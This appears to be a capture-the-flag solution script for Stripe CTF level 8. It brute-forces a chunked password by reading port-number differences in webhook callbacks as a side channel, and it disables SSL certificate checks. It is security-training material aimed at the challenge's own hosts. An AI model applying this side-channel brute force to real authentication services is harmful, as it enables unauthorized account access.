Stripe-CTF2-level8

lvl8.py

import string
import httplib2
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import random

# Configuration
webhook_port = 55555;
webhook_addr = "localhost";
PasswordDB_addr = "localhost";
PasswordDB_path = "/"
PasswordDB_port = "5555"
proto = "http"
if 0:
    webhook_addr = "level02-4.stripe-ctf.com";
    PasswordDB_addr = "level08-3.stripe-ctf.com";
    PasswordDB_path = "/user-mlsbirqhlf/";
    PasswordDB_port = "443"
    proto = "https"

chunks = ["", "", "", ""]
chunk = 0
possible_chunk_vals = range(999);
attempt = random.choice(possible_chunk_vals)
latest_port = 0;

loop_count = 0
conn = httplib2.Http(disable_ssl_certificate_validation=True)

def chunk_render(cur="000"):
    global chunks, chunk
    out = "";
    cur = str(cur)
    for i in range(len(chunks)):
        if i == chunk:
            out += cur.zfill(3)
        elif i > chunk:
            out += "000"
        else:
            out += str(chunks[i]).zfill(3)
    return out

class MyHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return

    def do_POST(self):
        global latest_port, loop_count

        content_length = int(self.headers['Content-Length'])
        self.send_response(200)
        self.send_header('Content-type',    'text/plain')
        self.end_headers()
        port_diff = self.client_address[1] - latest_port
        latest_port = self.client_address[1]
        if chunk == 3:
            if content_length == 18:
                possible_chunk_vals.remove(attempt)
                loop_count = 0
                newAttempt()
            else:
                print " -- Flag! Flag! Flag! Flag! Flag! Flag! Flag! Flag! Flag! Flag!"
                print "[" + chunk_render(attempt) + "]"
        else:
            if len(possible_chunk_vals) == 1 or loop_count == 3:
                print "SUCCESS: " + str(attempt).zfill(3)
                nextChunk();
            if port_diff == 2 + chunk:
                possible_chunk_vals.remove(attempt)
                loop_count = 0
            elif port_diff == 3 + chunk:

                print " -- [Potential Match: "+str(attempt).zfill(3)+"] -- [Diff: " + str(port_diff) + "] -- [Remaining: "+str(len(possible_chunk_vals))+"]"
                loop_count += 1
            else:
                print " -- [Jitter]"
            newAttempt()
        return
        pass

def nextChunk():
    global chunks, chunk, possible_chunk_vals, loop_count
    chunks[chunk] = attempt
    chunk += 1
    loop_count = 0
    possible_chunk_vals = range(999);

def newAttempt():
    global webhook_addr, PasswordDB_addr, PasswordDB_path, PasswordDB_port, attempt, possible_chunk_vals, conn
    if loop_count == 0:
        attempt = random.choice(possible_chunk_vals)
    password_attempt = chunk_render(attempt)

    conn.request(proto + "://" + PasswordDB_addr + ":" + str(PasswordDB_port) + PasswordDB_path, "POST", '{"password": "' + password_attempt + '", "webhooks": ["'+webhook_addr+':'+str(webhook_port)+'"] }')

def main():
    global webhook_port, PasswordDB_addr, PasswordDB_path, PasswordDB_port
    server = HTTPServer(('', webhook_port), MyHandler)
    print "to Start: $ curl " + proto + "://" + PasswordDB_addr + ":" + str(PasswordDB_port) + PasswordDB_path +" -d '{\"password\": \"" + chunk_render() + "\", \"webhooks\": [\""+ webhook_addr + ":" + str(webhook_port) + "\"]}' "
    server.serve_forever()

if __name__ == '__main__':
    main()